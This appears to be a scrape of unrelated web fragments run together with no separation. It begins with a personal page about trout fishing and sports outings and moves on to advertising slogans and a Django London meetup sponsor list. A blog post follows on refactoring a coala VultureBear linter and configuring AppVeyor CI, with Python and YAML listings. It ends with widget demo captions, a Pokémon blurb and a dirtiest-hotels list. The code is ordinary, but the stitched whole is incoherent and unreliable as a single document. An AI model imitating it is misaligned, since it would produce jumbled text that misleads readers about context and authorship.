Trout have always fascinated me, so most (but not all!) of my time spent fishing is spent angling for them. One yearly tradition that my father and I have is our annual trip to the Pennsylvania Grand Canyon's "Pine Creek". PA's version of the Colorado River, this challenging body of water is home to a yearly trout derby that we've participated in for over a decade. The memories and moments we've had while on (and around...and traveling to!) the Pine are priceless and definitely worthy of their own section on this page!
My father and I talked for years about how we just had to "yak" the Pine, and it took many years to get the logistics right but we finally did back in 2016. And did we ever....we kayaked a stretch of water over 12 miles long in one day! This was a big check-mark on both of our bucket-lists!"
Growing up I always wanted to believe that there were trout on my property's stream, and I vividly remember having dreams about slammers and palominos, or even just little native trout residing within. Then oneday, it happened. While fishing in my backyard stream for chubs, I caught the most amazing little native brookie I had ever seen. It was early Fall, so the brookie had this vibrant orange and green coloraton as it prepared to spawn. I released the fish and hurried back home to tell my family, but no one believed me. For some reason sharing the fact that there were native brook trout in our little stream turned me into the boy who cried "trout". Nevertheless, I was DETERMINED to prove everyone wrong, so I spent months planning on how to do so. And how would one do this, you ask? Well, by making a VIDEO of course! I thus prepared to catch another one the upcoming spring, and while it was quite the CHALLENGE my persistent nature guided me to VICTORY!
One who fishes must hunt as well, right? You know it! I also hunt, and while I have not done as much hunting as I'd like I have had some success. That elusive buck still tops my list of trophies to get, but I have at least one doe to my name thus far!
I don't really do much traveling, and I've so far only been to a couple of states. Maybe someday I'll get more into traveling, but I've been to a couple of interesting places that are "bucket-list trip" worthy. I've always loved sports, and growing up one thing I always wanted to do was see a Phillies game. Back in April of 2016 I finally got to do this when I saw the Phillies play the Nationals.
I've also seen the Sixers (on AI's HOF Night!), Flyers (twice, one a playoff win!), and Eagles (twice, one versus Brian Dawkins when he was on the Broncos) play live. Growing up I was a big Philadelphia sports fan, but now I mainly root for the teams with my favorite players (such as TB12 and the Pats!)
I was also once in Orlando, Florida for my sister's wedding. I had always wanted to visit Orlando, and I had quite the adventure while I was there!


If you have been keeping an eye open for seafood your search is over
(touch screen for more)
Tired of screwing around come and grab our fastners fast
These little ducks make playing in a storm drain even funner
Feeling strung out? Why not take a lesson or two and relax
Need to change the color of those drab walls? Let nature be your inspiration


Tonight's meetup is kindly sponsored by:
“Festival package travel startup. 50+ staff, high pay, ping pong + beer.”
Funding Options is the free marketplace for business finance, using matching technology to help UK businesses access tens of millions of pounds in finance every year.
We help people to feel happier and more self-confident, by making it easy to dress well, using stylists and data science. Dedicated to maintaining a great working environment, minimising politics and maximising impact.
The trusted global platform that inspires and enables people to experience the best of the city. Operating in 107 cities, across 39 countries, it has an average monthly global audience reach of over 111 million across all platforms.
From yours truly
path('articles/<int:year>/', …
breakpoint()
Website: https://djangolondon.com
Github: https://github.com/djangolondon/


Misty's Horsea
Was the fourth Pokémon acquired by Misty in the Kanto region, and the first she caught within the series.


Phase-1
June 24, 2017
Phase 1 of the coding period ended on 26’th June 23:30 GMT+5:30. With this post, I would like to reflect upon the development progress so far and share some of the challenges I faced.
Overview
I had the following things to tackle:
- Make vulture available as an API
- Refactor VultureBear accordingly
- Add an option to exclude some files from being analysed by vulture
- Implement confidence values for results given by vulture
- Make use of the
stdlib whitelist
in every run by default. - Add appveyor CI
Making vulture available as an API
Thanks to the already implemented Vulture.Item
class and vulture.scavenge
method, we had to do nothing to extend vulture’s utility as an API.
We just had to manipulate the way VultureBear calls vulture.
Refactor VultureBear
Previosuly, VultureBear created a POpen instance, executed vulture over the input files and piped the output. Output was then parsed for information (filename, lineno, type, etc.) using Regular Expressions.
You can read more about it here - Meeting Jendrik
Add an option to exclude files
There might be a variety of reasons where people would want VultureBear to not analyse some files, like:
- vulture reports False positives, and they are fed up of errors.
- some configuration files define environment variales, they are being reported as dead code by vulture.
- Author plans to use the specified code later.
Now, previously, I had the vulture’s exclude option in my mind. But, then @jayvdb pointed out that there is an ignore option in coala. After further discussion, the issue was marked as already resolved. :-) Thanks @jayvdb
Implement confidence values for results given by vulture
This was an important change, as it would have changed the format in which vulture reports it’s results.
In a prior meeting with @jendrikseipp, it was decided that imports would be
reported with 100% confidence and everything else with 70%. There was also some
discussion for a flag --min-confidence
which would enable a filter which
would only allow results which have a confidence more than the value given.
But after further thought the idea of making this change upstream was dropped
and the CONFIDENCE_MAP
was implemented in the VultureBear
itself. The implementation
is quite simple:
CONFIDENCE_MAP = {
'attribute': 70,
'class': 70,
'function': 70,
'import': 95,
'property': 70,
'variable': 70,
}
def _find_unused_code(filenames):
"""
:param filenames: List of filenames to check.
:return: Generator of Result objects.
"""
def file_lineno(item):
return (item.filename.lower(), item.lineno)
vulture = Vulture()
vulture.scavenge(filenames)
for item in sorted(
vulture.unused_funcs + vulture.unused_imports +
vulture.unused_props + vulture.unused_vars +
vulture.unused_attrs, key=file_lineno):
message = 'Unused {0}: {1}'.format(item.typ, item)
yield Result.from_values(origin='VultureBear',
message=message,
file=item.filename,
line=item.lineno,
confidence=CONFIDENCE_MAP[item.typ])
class VultureBear(GlobalBear):
LANGUAGES = {'Python', 'Python 3'}
REQUIREMENTS = {PipRequirement('vulture', '0.14.0')}
AUTHORS = {'The coala developers'}
AUTHORS_EMAILS =<EMAIL_ADDRESS>LICENSE = 'AGPL-3.0'
ASCIINEMA_URL = 'https://asciinema.org/a/82256'
CAN_DETECT = {'Unused Code'}
SEE_MORE = 'https://github.com/jendrikseipp/vulture'
def run(self):
"""
Check Python code for unused variables and functions using `vulture`.
"""
filenames = list(self.file_dict.keys())
return _find_unused_code(filenames)
Default whitelisting
The idea here was to take into account a whitelist - by default in every run. For this, some ground work needed to be layed down first - It seemed like a daunting task at first because it needed a major change in the way vulture was shipped - It had to be shipped as a package, so that we can bundle any additional package data with it - like whitelists.
But au contraire this was relatively easy - we just needed to rename some files and change the directory structure.
Now, only whitelists needed to be bundled
For this, I added this to the setup.py
:
package_data={'vulture': ['whitelists/**/*.py']},
But no matter what, an error kept on cramming:
no whitelists/ file were found in the package-dir
Now, here comes the confusing part: package_data is not supposed to take up recursive
glob patterns and this wasn’t mentioned anywhere in the documentation. :-( I found
it written in a very small font in some comment on Stack Overflow. Anyways, removing the
**
made it work.
Finally we could now add whitelists to the list of modules being scanned, @jendrikseipp suggested a much efficient way to append the core whitelist data and I was finally able to merge this PR. :-)
Here are the commits:
Add appveyor CI
After going through their documentation more than twice, I still had no idea what would
be the constructs of the appveyor.yml
(The configuration file for appveyor). Then, it
came to me, just copy the file from coala-bears and make suitable changes.
Here’s the appveyor file for coala-bears:
environment:
global:
# SDK v7.0 MSVC Express 2008's SetEnv.cmd script will fail if the
# /E:ON and /V:ON options are not enabled in the batch script intepreter
# See: http://stackoverflow.com/a/13751649/163740
CMD_IN_ENV: "cmd /E:ON /V:ON /C .\\.ci\\run_with_env.cmd"
matrix:
- PYTHON: "C:\\Python34"
PYTHON_VERSION: "3.4"
PYTHON_ARCH: "32"
- PYTHON: "C:\\Python34-x64"
PYTHON_VERSION: "3.4"
PYTHON_ARCH: "64"
cache:
- "C:\\pip_cache"
- "node_modules"
- "C:\\Users\\appveyor\\AppData\\Local\\coala-bears\\coala-bears"
- "C:\\Users\\appveyor\\AppData\\Roaming\\nltk_data"
branches:
except:
- /^sils\/.*/
install:
# Prepend newly installed Python to the PATH of this build (this cannot be
# done from inside the powershell script as it would require to restart
# the parent CMD process).
- "SET PATH=%PYTHON%;%PYTHON%\\Scripts;%PATH%"
- "SET PATH=C:\\Program\ Files\\Java\\jdk1.7.0\\bin;%PATH%"
# language-tool needs the registry tweaked here since it determines the java
# version wrong (since appveyor has both, 1.7 and 1.8 in x86 and x64).
- "SET KEY_NAME=HKLM\\Software\\JavaSoft\\Java Runtime Environment"
- "REG add \"%KEY_NAME%\" /v CurrentVersion /t REG_SZ /d 1.7 /f"
# Check that we have the expected version and architecture for Python
- "python --version"
- "python -c \"import struct; print(struct.calcsize('P') * 8)\""
- >
"%CMD_IN_ENV% pip install
--cache-dir=C:\\pip_cache -r requirements.txt -r test-requirements.txt
- ps: "Install-Product node ''" # Use latest node v5.x.x
- "npm config set loglevel warn"
- "npm install"
build: false # Not a C# project, build stuff at the test step instead.
test_script:
# Force DOS format, as Checkstyle configs enable NewlineAtEndOfFile,
# which defaults to CRLF on Windows, and Appveyor CI ignores .gitattributes
# http://help.appveyor.com/discussions/problems/5687-gitattributes-changes-dont-have-any-effect
- unix2dos tests/java/test_files/CheckstyleGood.java
# Clang DLLs x64 were nowadays installed, but the x64 version hangs, so we
# exclude according tests. See https://github.com/appveyor/ci/issues/495 and
# https://github.com/appveyor/ci/issues/688
- >
"%CMD_IN_ENV% python -m pytest
--cov -k "not ClangASTPrintBear and not ClangCloneDetectionBear and
not ClangComplexityBear and not ClangCountVectorCreator and
not ClangCountingConditions"
- "%CMD_IN_ENV% python setup.py install"
on_success:
- codecov
on_failure:
- codecov
matrix:
fast_finish: true
After tweaking around a little bit, it looked like this:
environment:
global:
# SDK v7.0 MSVC Express 2008's SetEnv.cmd script will fail if the
# /E:ON and /V:ON options are not enabled in the batch script intepreter
# See: http://stackoverflow.com/a/13751649/163740
CMD_IN_ENV: "cmd /E:ON /V:ON /C .\\.ci\\run_with_env.cmd"
matrix:
- PYTHON: "C:\\Python34"
PYTHON_VERSION: "3.4"
PYTHON_ARCH: "32"
- PYTHON: "C:\\Python34-x64"
PYTHON_VERSION: "3.4"
PYTHON_ARCH: "64"
cache:
- "C:\\pip_cache"
install:
# Prepend newly installed Python to the PATH of this build (this cannot be
# done from inside the powershell script as it would require to restart
# the parent CMD process).
- "SET PATH=%PYTHON%;%PYTHON%\\Scripts;%PATH%"
# Check that we have the expected version and architecture for Python
- "python --version"
- "python -c \"import struct; print(struct.calcsize('P') * 8)\""
- >
"%CMD_IN_ENV% pip install
--cache-dir=C:\\pip_cache tox
build: false # Not a C# project, build stuff at the test step instead.
test_script:
- >
# tox takes care of everything, from installing to running tests and even reporting the code coverage
"%CMD_IN_ENV% tox
matrix:
fast_finish: true
But, sadly, this didn’t work. :-( But then, an option called Ignore YAML
caught
my eye - This meant there was another way to do this - It was the helper GUI in appveyor
and then, I thought, I would export all the settings in the form of the YAML file.
Browsing through every setting and after 10 failed builds, when the eleventh one finally
finished successfully, I was all set to celebrate. :-)
Here’s what the current appveyor.yml
file looks like:
version: 1.0.{build}
install:
- cmd: pip install tox
build_script:
- cmd: python setup.py install
test_script:
- cmd: tox
matrix:
fast_finish: true
I was finally able to get things to work in the given time. Here’s how my Burndown chart looks like for the Phase 1:
Special thanks to @jendrikseipp and @jayvdb. Thank You! :-)


The animation interface was partly copied from the JAVA Graphic2D introduction program which was written by Brian Lichtenwalter of the Sun Microsystems, Inc. And the Qi-Jing-Pian in the animation part are originally written by ZhangXueShi in Song Dynasty of ancient China. Press the mouse can cause the animation to stop and start again for another press. When the server is connected, the animation will be stopped automatically and the interface will be changed into the real playing interface.
The animation interface can't be resized.


angular-freezeframe
basic,animate on hover.
start/stop manually, with overlay
using children & overlay
destroy, remove event listeners
cinemagraphs by cinemagraphs.com


OLS terminfo popup
Example 2: demonstrates closing the popup via 'mouseout' event
The popup is started with the option not to show the 'Go to ols Button' or the label(title).
Mouse over to activate, mouse out to disapear:
Click to activate, mouse out to disapear


--- layout: post title: "10 Dirtiest Hotels list from TripAdvisor" ---
10 Dirtiest Hotels in the U.S. 1. Tropicana Resort Hotel, Virginia Beach, Vir. 2. Hotel Carter, New York, N.Y. 3. Days Inn Downtown/Port, Miami, Fla. 4. Budget Inn, Knoxville, Tenn. 5. Red Carpet Inn, Fort Lauderdale, Fla. 6. New York Inn, New York, N.Y. 7. Poindexter Ocean Front Resort, Myrtle Beach, S.C. 8. Days Inn, Lancaster, Penn. 9. Ramada Inn Miami Airport North, Miami, Fla. 10. Sea Club Resort, Fort Lauderdale, Fla.Read the whole article.


Use outlined cards
Card with only text content
Card with only <mat-card-content>
and text content.
Subtitle
Card with title and footer
This is supporting text.
{{longText}}
Subtitle
Card with title, footer, and inset-divider
This is supporting text.
{{longText}}
Content Title
Here is some content
Header title
Header subtitle
Here is some content
Easily customizable
Cards with media area
Card
Small
{{longText}}
Card
Medium
{{longText}}
Card
Large
{{longText}}
Card
Extra large
{{longText}}
Header title
Header subtitle
Here is some content